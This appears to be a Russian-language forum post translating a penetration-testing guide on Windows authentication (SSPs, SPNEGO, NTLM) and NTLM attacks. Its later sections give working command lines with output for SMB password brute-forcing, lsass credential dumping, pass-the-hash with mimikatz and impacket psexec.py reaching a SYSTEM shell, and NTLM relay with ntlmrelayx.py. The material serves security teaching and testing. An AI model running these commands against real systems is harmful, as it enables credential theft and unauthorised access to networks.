NTLMSSP (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm) (msv1_0.dll) управляет проверкой подлинности NTLM. Он отвечает за кэширование хэшей NT, которые могут быть извлечены mimikatz из процесса lsass.

Согласовать SSP

Поставщик общих служб согласования (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-negotiate) (secur32.dll) — это промежуточный поставщик общих служб, который управляет согласованием SPNEGO (https://zer1t0.gitlab.io/posts/attacking_ad/#spnego) и делегирует проверку подлинности поставщику общих служб Kerberos или NTLM в зависимости от результата согласования.

1653683915693.png


Дайджест SSP

Дайджест (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-digest-ssp) (wdigest.dll) реализует протокол доступа к дайджесту. Используется для HTTP. Это поставщик общих служб, который кэширует незашифрованные пароли в старых операционных системах, которые могут быть извлечены с помощью mimikatz.

Даже если кэширование паролей отключено по умолчанию, начиная с Windows 2008 R2, все же можно включить кэширование паролей, установив для записи реестра HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential значение 1 или исправив Digest SSP (https://blog.xpnsec.com/exploring-mimikatz-part-1/) непосредственно в Память.

Безопасный канал SSP

Безопасный канал (https://docs.microsoft.com/en-us/windows/win32/secauthn/secure-channel) (schannel.dll) обеспечивает зашифрованную связь. Он используется для добавления уровня SSL/TLS к HTTP-коммуникациям.

Креды SSP

CredSSP ( https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider) (credssp.dll) создает канал TLS, аутентифицирует клиента посредством согласования SSP и, наконец, позволяет клиенту отправить полные учетные данные пользователя на сервер. Используется RDP (https://zer1t0.gitlab.io/posts/attacking_ad/#rdp) .

Пользовательские поставщики общих служб

Более того, третьи стороны также могут добавить свой собственный SSP (https://docs.microsoft.com/en-us/windows/win32/secauthn/custom-security-packages) в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. SSP также может быть AP (https://docs.microsoft.com/en-us/windows/win32/secauthn/ssp-aps-versus-ssps#sspaps) (пакетом проверки подлинности), который используется приложениями входа в систему. На самом деле, регистрация SSP/AP — это техника, используемая mimikatz (https://github.com/gentilkiwi/mimikatz) для кражи паролей. (https://www.hackingarticles.in/credential-dumping-security-support-provider-ssp/)

SPNEGO

SPNEGO (простое и защищенное согласование GSS-API) — это механизм, который позволяет приложениям клиент-сервер согласовывать базовый протокол безопасности, совместимый с GSS-API, используемый приложением. Таким образом, и клиент (также известный как инициатор в RFC 4178 (https://tools.ietf.org/html/rfc4178)), и сервер (известный как акцептор) могут установить один и тот же контекст GSS (путем вызова GSS_Init_sec_context).

Процесс для SPNEGO в основном следующий:

1. Клиент (инициатор) вызывает GSS_Init_sec_context и указывает, что будет использоваться SPNEGO.

Затем возвращается список с вариантами механизма безопасности (mechTypes) и, возможно, начальный токен для предпочтительного механизма (mechToken). Эта информация отправляется на сервер (акцептор) в сообщении NegTokenInit.

1653683937487.png


1. Серверное приложение передает исходный токен и список механизмов безопасности в GSS_Accept_sec_context. Затем возвращается один из следующих результатов и отправляется в сообщении NegTokenResp (NegTokenResp — это то же самое, что и NegTokenTarg, отображаемый Wireshark):

1. Ни один из механизмов безопасности не принят. Сервер отклоняет согласование.

2. Если выбранный механизм безопасности является предпочтительным для клиента, используется полученный токен. Создается токен согласования, содержащий состояние принятия-завершения.

3. Выбран другой механизм, отличный от предпочтительного, поэтому создается токен согласования с состоянием accept-incomplete или request-mic.

1653683958586.png


2. Если согласование возвращается клиенту, то оно передается в GSS_Init_sec_context и анализируется. Согласование продолжается до тех пор, пока и клиент, и сервер не согласуют механизм и параметры безопасности.

1653683968060.png


Windows использует SPNEGO (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-negotiate) через Negotiate SSP. Это позволяет таким службам, как SMB, использовать проверку подлинности Kerberos или NTLM. Kerberos в основном используется для аутентификации пользователей домена, тогда как NTLM позволяет аутентифицировать пользователей локального компьютера. Обычно существует третья опция, называемая NEGOEX (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-negoex), которая позволяет усилить опции SPNEGO, но мне кажется, что эта опция никогда не используется.

На самом деле, Windows использует расширение для SPNEGO, SPNG (https://docs.microsoft.com/en-us/op.../ms-spng/f377a379-c24f-4a0f-a3eb-0d835389e28a). Это расширение включает улучшения для SPNEGO, такие как новое сообщение NegTokenInit2, которое позволяет серверу инициировать согласование SPNEGO.

1653683979617.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
If you and the commenter above had been more careful, you might have noticed that yashechka indicated the source under the first article
😄😄😄
 
NTLM

Основы NTLM


NTLM (http://davenport.sourceforge.net/ntlm.html) (NT LAN Manager) — это протокол проверки подлинности, который может использоваться службами Windows для проверки подлинности клиента. NTLM реализован в NTLM SSP (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm) и, помимо аутентификации, также позволяет защитить связь, подписывая и/или шифруя сообщения.

Прежде чем обсуждать NTLM, важно не перепутать несколько понятий:

- NTLM: сетевой протокол, используемый для аутентификации пользователей на удаленных компьютерах. Он также известен как Net-NTLM.

- NTLMv1: версия 1 NTLM. Он также известен как Net-NTLMv1.

- NTLMv2: версия 2 NTLM, отличается от NTLMv1 способом вычисления сеансового ключа и хэша NTLM. Он также известен как Net-NTLMv2.

- NTLM2: это NTLMv1 с повышенной безопасностью, но все же более слабый, чем NTLMv2.

- NTLM Хеш/ответ: ответ на запрос сервера, рассчитанный на основе хэша NT. Он также известен как хэш Net-NTLM и ответ NTLM.

- NTLMv1 hash: хэш NTLM, созданный NTLMv1.

- NTLMv2 hash: хэш NTLM, созданный NTLMv2.

- NT hash (https://zer1t0.gitlab.io/posts/attacking_ad/#lm-nt-hashes) : хэш, полученный из пароля пользователя, используемый в качестве секрета для проверки подлинности NTLM. Обычно его называют хэшем NTLM, но это имя неверно, поскольку хэш NTLM создается протоколом NTLM.

- Хэш LM( https://en.wikipedia.org/wiki/LAN_Manager#LM_hash_details) : более старый хэш LAN Manager, полученный из пароля пользователя, устарел и широко не используется. Довольно легко взломать.

- LM Response: ответ LM на вызов сервера с использованием хэша LM для его вычисления. In можно использовать в сочетании с ответом NTLM. Он устарел.

- LMv1: версия 1 ответа LM.

- LMv2: версия 2 ответа LM.

Первое, что нужно знать, это то, что NTLM не является изолированным протоколом, генерирующим сетевой трафик, а должен использоваться как встроенный в протокол приложения, такой как SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#smb), LDAP (https://zer1t0.gitlab.io/posts/attacking_ad/#ldap)или HTTP (https://zer1t0.gitlab.io/posts/attacking_ad/#http).

Более того, NTLM можно использовать как в сетях Active Directory, так и в сетях рабочих групп. В Active Directory для пользователей домена предпочтительным протоколом проверки подлинности является Kerberos, но можно использовать и NTLM, тогда как локальные пользователи компьютеров могут проходить проверку подлинности только удаленно с помощью NTLM. Поэтому, даже если и можно отключить NTLM в домене (http://woshub.com/disable-ntlm-authentication-windows/) , в настоящее время он все еще присутствует в большинстве сетей. (https://syfuhs.net/killing-ntlm-is-hard)

Аутентификация NTLM состоит из 3 сообщений/этапов: NEGOTIATE , CHALLENGE и AUTHENTICATE .

1653925497817.png


1. Во-первых, клиент после инициирования контекста безопасности путем вызова InitializeSecurityContext поставщика общих служб NTLM отправляет на сервер сообщение NEGOTIATE. Он указывает параметры безопасности, такие как используемая версия NTLM.

1653925508269.png


2. Сервер генерирует вызов, вызывая AcceptSecurityContext поставщика общих служб NTLM, и отправляет его клиенту в сообщении CHALLENGE. Также подтверждает согласованные параметры и отправляет информацию об имени своего компьютера, версии и имени домена.

1653925522530.png


3. Клиент получает вызов и передает его в InitializeSecurityContext, чтобы вычислить ответ с помощью ключа клиента (хэш NT). При необходимости он также создает ключ сеанса и шифрует его с помощью ключа, известного как базовый ключ сеанса, полученного из хэша NT. Клиент отправляет ответ и сеансовый ключ обратно на сервер. Также отправляет различные атрибуты (https://docs.microsoft.com/en-us/op.../ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e), известные как av_pairs, такие как информация об имени компьютера, версии и имени домена, а также флаги согласования. Кроме того, сообщение включает MIC (код целостности сообщения), чтобы избежать подделки.

1653925531468.png


4. Наконец, сервер проверяет правильность ответа на запрос (AcceptSecurityContext) и настройку сеанса/контекста безопасности. Следующие сообщения будут зашифрованы/подписаны сеансовым ключом.

1653925541487.png


1653925562799.png


Процесс проверки подлинности NTLM обрабатывается поставщиком общих служб NTLM( https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-ssp) независимо от используемого протокола приложения. Также следует отметить, что для подтверждения своей личности клиент должен иметь ключ. Ключ, используемый в аутентификации NTLM, — это хэш NT (https://zer1t0.gitlab.io/posts/attacking_ad/#lm-nt-hashes) пользователя, который действует как клиент (также хеш LM используется в NTLMv1).

Тем не менее, в NTLM хэш NT не передается по сети, а используется только для вычисления ответа NTLM на вызов сервера и сеансового ключа. Ответ NTLM также известен как хэш NTLM (также называемый хэшем Net-NTLM). Расчет хэша NTLM зависит от версии протокола NTLM.

При использовании NTLM учетные данные не передаются по сети, поэтому они не кэшируются на целевой машине. Поэтому их нельзя получить с помощью mimikatz. (https://github.com/gentilkiwi/mimikatz)

В настоящее время существует 2 версии протокола NTLM: NTLMv1 (https://docs.microsoft.com/en-us/op.../ms-nlmp/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5) и NTLMv2 (https://docs.microsoft.com/en-us/op.../ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3). Используемая версия не согласовывается при передаче (https://docs.microsoft.com/en-us/op.../ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3), но должна быть правильно настроена на клиенте и сервере. (http://woshub.com/disable-ntlm-authentication-windows/)

Однако в сообщениях NTLM согласовываются другие параметры безопасности (https://docs.microsoft.com/en-us/op.../ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832), например:


- Подписание сеанса. Полезно для предотвращения атак NTLM Relay (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-relay) .

- Запечатывание/шифрование сеанса. Обычно не используется.

- Генерация ответа LM. Если ответ LM не требуется, он не будет обрабатываться сервером.

- Использование сеансовой безопасности NTLMv2 или NTLMv1. Безопасность сеанса — это не версия проверки подлинности, а расширение для повышения безопасности проверки подлинности NTLMv1.

Давайте посмотрим на различия между NTLMv1 и NTLMv2.

NTLMv1

В NTLMv1 (https://docs.microsoft.com/en-us/op.../ms-nlmp/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5) ответ NTLM (хэш NTLMv1) на вызов сервера вычисляется с использованием хэша NT для шифрования запроса сервера с помощью алгоритма DES. Сеансовый ключ также шифруется напрямую с помощью хэша NT.

1653925584453.png


NTLMv2

Однако в NTLMv2 (https://docs.microsoft.com/en-us/op.../ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3) используется больше данных для защиты целостности сообщения AUTHENTICATE и, следовательно, целостности сеанса. Для вычисления ответа (хэш NTLM) NTLMv2 учитывает:

- Задачу вызова

- Случайно сгенерированный клиентский вызов

- Текущую временную метка

- Поле AvPairs( https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e), которое содержит такую информацию, как домен/имя сервера или имя микрофона, включенное в сообщение (MsvAvFlags).(В документах AvPairs задокументирован как запутанное поле ServerName (https://docs.microsoft.com/en-us/op.../ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3))

1653925620173.png


NTLMv2 объединяет все эти данные и применяет HMAC для вычисления ответа NTLM, известного как хэш NTLMv2. Кроме того, эти данные также используются для расчета сеансового ключа.

MIC

Кроме того, для защиты целостности согласования NTLM сообщение AUTHENTICATE включает MIC. MIC рассчитывается путем применения HMAC (https://docs.microsoft.com/en-us/op.../ms-nlmp/f9e6fbc4-a953-4f24-b229-ccdcc213b9ec) ко всем сообщениям процесса NTLM с сеансовым ключом.

1653925631724.png


Следовательно, целостность 3 сообщений сохраняется. И в случае, если злоумышленник удалит MIC, аутентификация не удастся, поскольку ответ NTLMv2 защищает флаг, указывающий на наличие MIC. Тем не менее, в прошлом MIC был объектом различных расследований, в ходе которых были обнаружены уязвимости Drop the MIC ( https://www.preempt.com/blog/cve-2019-1040-windows-vulnerability/) и Drop the MIC 2 (https://www.preempt.com/blog/active-directory-ntlm-attacks/) .

Следует отметить, что NTLMv1 не учитывает флаги NTLM для создания ответа. Таким образом, в случае использования NTLMv1 злоумышленник, выполняющий атаку NTLM Relay (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-relay) , может просто удалить MIC (и настроить флаги, показанные в Drop the MIC (https://www.preempt.com/blog/cve-2019-1040-windows-vulnerability/)) сообщения AUTHENTICATE, чтобы подделать данные и, например, отключить подпись сообщений приложений.

NTLM в Active Directory

NTLM можно использовать как в рабочих группах, так и в Active Directory. В этом последнем случае он позволяет аутентифицировать учетные записи домена на машинах сети. Однако хэш NT хранится в базе данных Active Directory (https://zer1t0.gitlab.io/posts/attacking_ad/#database ), расположенной в контроллерах домена (https://zer1t0.gitlab.io/posts/attacking_ad/#domain-controllers) .

Следовательно, чтобы проверить сообщение AUTHENTICATE для учетной записи домена, целевая машина отправит запрос Netlogon (NetrLogonSamLogonWithFlags (https://docs.microsoft.com/en-us/op.../ms-nrpc/d17f1077-de4b-4fcd-8867-39068cb789f5) ) на контроллер домена с просьбой проверить ответ клиента на запрос. Контроллер домена проверяет этот ответ и возвращает компьютеру необходимую информацию, такую как ключ сеанса и привилегии пользователя, чтобы продолжить сеанс приложения.

1653925647628.png


Более того, NTLM также можно использовать для машин в разных доменах. Если используемая учетная запись находится в домене, отличном от сервера, он должен запросить у контроллера домена подтверждение сообщения AUTHENTICATE, а контроллер домена, в свою очередь, должен отправить сообщение AUTHENTICATE на контроллер домена домена учетной записи пользователя (используя доверие (https://zer1t0.gitlab.io/posts/attacking_ad/#trusts) ) чтобы убедиться в этом.

1653925656526.png


Таким образом, NTLM можно использовать в Active Directory, даже если вместо него обычно используется Kerberos, поскольку в этой среде это вариант по умолчанию.

Уловка для принудительной проверки подлинности NTLM, а не Kerberos (во встроенных утилитах Windows) состоит в том, чтобы подключиться к целевой машине, указав IP-адрес вместо имени хоста, поскольку Kerberos требует имени хоста для идентификации служб машины.

Например, команда dir \\dc01\C$ будет использовать Kerberos для аутентификации на удаленном общем ресурсе, а команда dir (https://zer1t0.gitlab.io/posts/attacking_ad/#shares)\\192.168.100.2\C$ будет использовать NTLM.

NTLM-атаки

Теперь, когда мы знаем, как работает NTLM, давайте поговорим о том, как его можно использовать в пентесте.

NTLM-разведка

NTLM может быть полезен для разведки, так как если флаг NTLMSSP_NEGOTIATE_TARGET_INFO ( https://docs.microsoft.com/en-us/op.../ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832) отправлен в сообщении NEGOTIATE, то сервер вернет поле TargetInfo, заполненное AvPairs (https://docs.microsoft.com/en-us/op.../ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e) в сообщении CHALLENGE, которое содержит некоторую информацию, связанную с сервером, такую как его имя хоста и доменное имя.

1653925671046.png


Эта информация может быть полезна для идентификации машины, когда мы знаем только ее IP-адрес, а на сервере доступна служба, поддерживающая NTLM, например SMB или HTTP. Это можно использовать для разрешения резервных имен в сетях.

$ ntlm-info smb 192.168.100.0/24

Target: 192.168.100.7
NbComputer: WS02-7
NbDomain: CONTOSO
DnsComputer: ws02-7.contoso.local
DnsDomain: contoso.local
Version: 6.1.7601
OS: Windows 7 | Windows Server 2008 R2

Target: 192.168.100.10
NbComputer: WS01-10
NbDomain: CONTOSO
DnsComputer: ws01-10.contoso.local
DnsDomain: contoso.local
DnsTree: contoso.local
Version: 10.0.19041
OS: Windows 10 | Windows Server 2019 | Windows Server 2016


Его можно использовать во внутренней сети, а также из Интернета, поскольку некоторые HTTP-серверы поддерживают NTLM, например Outlook Web App (https://support.microsoft.com/en-us...86e-8b14-5c1f793ceefd?ui=en-US&rs=en-US&ad=US).

В случае интернета это может раскрыть имя внутреннего домена организации, которое может быть полезно знать, чтобы искать ключи или утечки паролей в github или использовать его для атак методом перебора в панелях VPN-шлюзов.

Чтобы получить информацию NTLM, вы можете использовать такие инструменты, как NTLMRecon (https://github.com/pwnfoo/NTLMRecon) (может выполнять подбор путей HTTP) или ntlm-info (https://gitlab.com/Zer1t0/ntlm-info) (поддерживает HTTP и SMB). Вы также можете идентифицировать веб-конечные точки, поддерживающие NTLM, с помощью следующего списка слов (https://gitlab.com/Zer1t0/barrido/-/blob/master/wordlists/ntlm.txt).

Брутфорс NTLM

Поскольку NTLM является протоколом аутентификации, его можно использовать для проверки учетных данных пользователя или для запуска атаки методом подбора с использованием любого поддерживающего протокол приложения. Обычно используется SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#smb-shares), так как он доступен на компьютерах с Windows, но можно использовать и другие, такие как MSSQL (https://zer1t0.gitlab.io/posts/attacking_ad/#sql-server) или HTTP (https://zer1t0.gitlab.io/posts/attacking_ad/#http) .

Атаку полным перебором с помощью NTLM можно запустить с помощью таких инструментов, как гидра (https://github.com/vanhauser-thc/thc-hydra), nmap( https://nmap.org/nsedoc/scripts/smb-brute.html), cme (https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference#using-usernamepassword-lists) или Invoke-Bruteforce.ps1. (https://github.com/samratashok/nishang/blob/master/Scan/Invoke-BruteForce.ps1).

$ cme smb 192.168.100.10 -u anakin -p passwords.txt
SMB 192.168.100.10 445 WS01-10 [*] Windows 10.0 Build 19041 x64 (name:WS01-10) (domain:contoso.local) (signing:False) (SMBv1:False)
SMB 192.168.100.10 445 WS01-10 [-] contoso.local\anakin:1234 STATUS_LOGON_FAILURE
SMB 192.168.100.10 445 WS01-10 [-] contoso.local\anakin:Vader! STATUS_LOGON_FAILURE
SMB 192.168.100.10 445 WS01-10 [+] contoso.local\anakin:Vader1234! (Pwn3d!)


Тем не менее, вы должны быть осторожны, так как проверка слишком большого количества паролей для одной учетной записи может заблокировать ее. В этом случае ответ SMB на сообщение AUTHENTICATE будет содержать код STATUS_ACCOUNT_LOCKED_OUT.

Кроме того, запуск брутфорс-атак создает большой сетевой трафик, особенно для учетных записей Active Directory, поскольку целевой машине необходимо сверить учетные данные с контроллером домена (https://en.hackndo.com/ntlm-relay/#session-key) .

Кроме того, Windows-ATA (https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) может обнаруживать брутфорсинг учетных записей домена, так как это решение проверяет весь трафик, который идет на контроллеры домена.

Pass the hash


Другой известный метод, использующий протокол NTLM, — Pass-The-Hash (PtH) (https://en.hackndo.com/pass-the-hash/). Как вы могли заметить, NTLM вычисляет хэш NTLM и ключ сеанса на основе хэша NT клиента/пользователя. Таким образом, если злоумышленник знает хеш NT клиента, он может использовать этот хэш для олицетворения клиента при проверке подлинности NTLM, даже если простой пароль неизвестен.

Эта атака довольно актуальна в настоящее время, поскольку Microsoft включила множество средств защиты, которые не позволяют таким инструментам, как mimikatz (https://github.com/gentilkiwi/mimikatz), получать пароли в открытом виде из процесса lsass (https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf) . Однако по-прежнему возможно извлекать хэши NT для учетных записей пользователей, за исключением случаев, когда включена защита учетных данных (https://docs.microsoft.com/en-us/ar...device-guard-and-credential-guard-demystified) (но ее также можно обойти (https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)).

Чтобы извлечь хэши NT из lsass, вы можете использовать команду mimikatz sekurlsa::logonpasswords (https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#logonpasswords). Кроме того, вы можете создать дамп процесса lsass (https://www.c0d3xpl0it.com/2016/04/extracting-clear-text-passwords-using-procdump-and-mimikatz.html) с помощью таких инструментов, как procdump (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) , sqldumper ( https://lolbas-project.github.io/#/dump), или других, и скопировать дамп на локальный компьютер, чтобы прочитать его с помощью mimikatz (https://github.com/gentilkiwi/mimikatz), pypykatz (https://github.com/skelsec/pypykatz) или удаленно прочитать дамп (https://en.hackndo.com/remote-lsass-dump-passwords/) с помощью lsassy (https://github.com/Hackndo/lsassy) .

Кроме того, хэши NT также могут быть извлечены из локальной базы данных SAM (https://www.hackingarticles.in/credential-dumping-sam/) или базы данных NTDS.dit ( https://www.hackingarticles.in/credential-dumping-ntds-dit/) в контроллерах домена.

На компьютерах с Windows вам может потребоваться внедрить хэш NT (https://www.praetorian.com/blog/inside-mimikatz-part1/ ) в процесс с помощью mimikatz (https://github.com/gentilkiwi/mimikatz) , чтобы использовать его для аутентификации на удаленных машинах со встроенными инструментами или ИТ-инструментами, такими как PsExec (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec). Кроме того, существуют специальные инструменты, такие как пакет Invoke-TheHash (https://github.com/Kevin-Robertson/Invoke-TheHash), который позволяет передавать хэш NT в качестве параметра.

PS C:\Users\Anakin\Downloads> .\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
user : Administrator
domain : contoso.local
program : cmd.exe
impers. : no
NTLM : b73fdfe10e87b4ca5c0d957f81de6863
| PID 1080
| TID 2664
| LSA Process is now R/W
| LUID 0 ; 2124820 (00000000:00206c14)
\_ msv1_0 - data copy @ 000001E6F01AE490 : OK !
\_ kerberos - data copy @ 000001E6EF86CCD8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000001E6F01D7E38 (32) -> null


Обратите внимание, что при внедрении хэша NT (или билета Kerberos) другого пользователя это позволяет вам олицетворять другого пользователя только в удаленных подключениях, а не на локальном компьютере.

С другой стороны, чтобы выполнить Pass-The-Hash с машины Linux, вы можете использовать пакет impacket (https://github.com/SecureAuthCorp/impacket), сценарии которого принимают хэш NT напрямую в качестве параметра.

$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.

(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system

NTLM-ретранслятор


Давайте теперь поговорим об одной из самых известных атак с использованием NTLM, атаке NTLM Relay (https://en.hackndo.com/ntlm-relay/).

Чтобы получить дополнительную информацию об атаках ретрансляции NTLM, ознакомьтесь с публикацией о ретрансляции NTLM (https://en.hackndo.com/ntlm-relay/), которая включает в себя отличную матрицу ретрансляции NTLM( https://en.hackndo.com/ntlm-relay/#what-can-be-relayed) .

Атака NTLM Relay состоит из злоумышленника, который выполняет Person-in-The-Middle и использует свое посредническое положение для перенаправления проверки подлинности NTLM на интересующий его сервер для получения аутентифицированного сеанса.

1653925743618.png


Недостаток атаки NTLM relay заключается в том, что даже если злоумышленник аутентифицирован, он не знает сеансового ключа, который зашифрован при передаче, а он необходим для подписи и/или шифрования сообщений. Следовательно, если подписание согласовывается между клиентом и сервером, злоумышленник не сможет генерировать действительные подписи для сообщений приложения, таким образом, он не сможет общаться с сервером, поэтому атака не удастся.

Однако, даже если клиент и сервер хотят договориться о подписании, злоумышленник может подделать сообщения, чтобы снять эти флаги. Во избежание этого, как мы видели, сообщение AUTHENTICATE включает MIC (https://zer1t0.gitlab.io/posts/attacking_ad/#domain-controllers) , то есть подпись, учитывающую все сообщения NTLM. Наконец, если сервер проверяет MIC и не соответствует подписи исходных сообщений, он разрывает соединение.

Тем не менее, поскольку это необязательное поле, злоумышленник также может удалить MIC и изменить флаги (в AvPairs) (https://docs.microsoft.com/en-us/op.../ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e), чтобы указать, что MIC отсутствует (он не может изменить MIC, поскольку он вычисляется с помощью сеансового ключа).

Следовательно, для защиты MIC NTLMv2 использует значение AvPairs (включая флаг MIC), включенное в сообщение AUTHENTICATE, для расчета ответа на вызов. Если злоумышленник изменит флаг, указывающий на присутствие MIC в AvPairs, то проверка ответа на запрос на целевом сервере завершится неудачно, и сеанс будет завершен. Следует отметить, что NTLMv1 не защищает MIC, поэтому он уязвим для подделки сообщений.

Любопытно, что до CVE-2015-005 ( https://www.coresecurity.com/core-labs/advisories/windows-pass-through-authentication-methods-improper-validation) в случае использования NTLM (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-in-active-directory) с учетными записями домена злоумышленник мог использовать вызов Netlogon (NetrLogonSamLogonWithFlags), чтобы попросить контроллер домена проверить сообщение AUTHENTICATE и вернуть ключ сеанса, чтобы злоумышленник мог используйте это, чтобы обойти ограничение подписи.

Тем не менее, это не конец истории. NTLM позволяет согласовывать подписание с помощью флага (https://docs.microsoft.com/en-us/op.../ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832) NTLM NTLMSSP_NEGOTIATE_SIGN. Это может быть установлено клиентом и сервером. Однако то, что оба устанавливают этот флаг, не гарантирует, что будет использоваться подпись. Это зависит от протокола приложения. Кроме того, обычно существует 3 состояния подписи: Не поддерживается, Поддерживается, Требуется.

Например, в случае SMB (https://zer1t0.gitlab.io/posts/attacking_ad/#smb-shares) он включает собственные флаги подписи (SecurityMode (https://docs.microsoft.com/en-us/op.../ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 )), которые определяют, поддерживается/требуется ли подпись. Таким образом, в соединениях SMB установлен флаг NTLM NTLMSSP_NEGOTIATE_SIGN, указывающий, что подпись поддерживается, но необходимо проверить флаги SMB, чтобы определить, будет ли соединение подписано. Кроме того, это поведение отличается в зависимости от версии SMB. Здесь я дам вам копию матриц подписи SMB (https://en.hackndo.com/ntlm-relay/#signature-matrix) .

В случае SMB1 есть 3 состояния подписи: Disabled, Enabled и Required.

1653925760502.png



Однако в случае SMB2 подпись всегда включена, но есть 2 состояния: требуется и не требуется.

1653925786435.png


Как видите, и в SMB1, и в SMB2 по умолчанию у клиента включена подпись (но не обязательна), поэтому установлен флаг NTLM NTLMSSP_NEGOTIATE_SIGN. Однако на серверах установлен только флаг NTLMSSP_NEGOTIATE_SIGN в SMB2, за исключением контроллеров домена, которые всегда требуют подписи SMB. Это необходимо учитывать при выполнении кросс-протокольной атаки NTLM relay.

Другим распространенным протоколом, использующим NTLM, является LDAP (https://zer1t0.gitlab.io/posts/attacking_ad/#ldap), который также имеет три уровня подписи: Disabled, Enabled и Required. Однако, в отличие от SMB, протокол LDAP не имеет флагов подписи, поэтому согласование основано на флаге NTLMSSP_NEGOTIATE_SIGN NTLM, который устанавливается, когда LDAP по крайней мере поддерживается/включен. Следующая матрица определяет случаи:

1653925796665.png



Можно изменить конфигурацию подписи LDAP (https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-signing-in-windows-server) как для клиента, так и для сервера, применяя объекты групповой политики.

Как видите, когда и на клиенте, и на сервере включена подпись (это означает, что она поддерживается), связь подписывается. Кроме того, необходимо учитывать, что контроллеры домена по умолчанию не используют подписывание LDAP, поэтому клиент может установить неподписанный сеанс с контроллером домена.

Этой информации должно быть достаточно, чтобы сделать вывод, что кросс-протокольная ретрансляционная атака может быть выполнена из LDAP в SMB2 (в случае по умолчанию), но не из SMB2 в LDAP.

1653925815703.png


Как мы видели ранее, SMB2 всегда устанавливает NTLMSSP_NEGOTIATE_SIGN, поэтому, если мы ретранслируем эти сообщения NTLM на сервер LDAP, который поддерживает подпись, то подпись согласовывается, и атака терпит неудачу. Помните, что сообщения NTLM не могут быть изменены, так как MIC защищает их (в NTLMv2).

В противном случае злоумышленник может договориться с сервером SMB2 о том, что подпись не требуется, используя заголовки SMB и ретранслируя сообщения LDAP NTLM, что по умолчанию устанавливает флаг NTLMSSP_NEGOTIATE_SIGN. После завершения согласования NTLM, поскольку подпись не используется в SMB, если она не требуется, сеанс не требует подписи, поэтому атака успешна. Однако эта атака невозможна против контроллеров домена, поскольку по умолчанию они требуют подписи.

1653925832332.png


Собственно, протокол SMB2 можно ретранслировать сам на себя:

1653925849856.png


$ ntlmrelayx.py -t 192.168.100.10 -smb2support --no-http-server
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
/usr/lib/python3/dist-packages/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.3) or chardet (3.0.4) doesn't match a supported version!
RequestsDependencyWarning)
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-2: Connection from CONTOSO/ANAKIN@192.168.100.7 controlled, attacking target smb://192.168.100.10
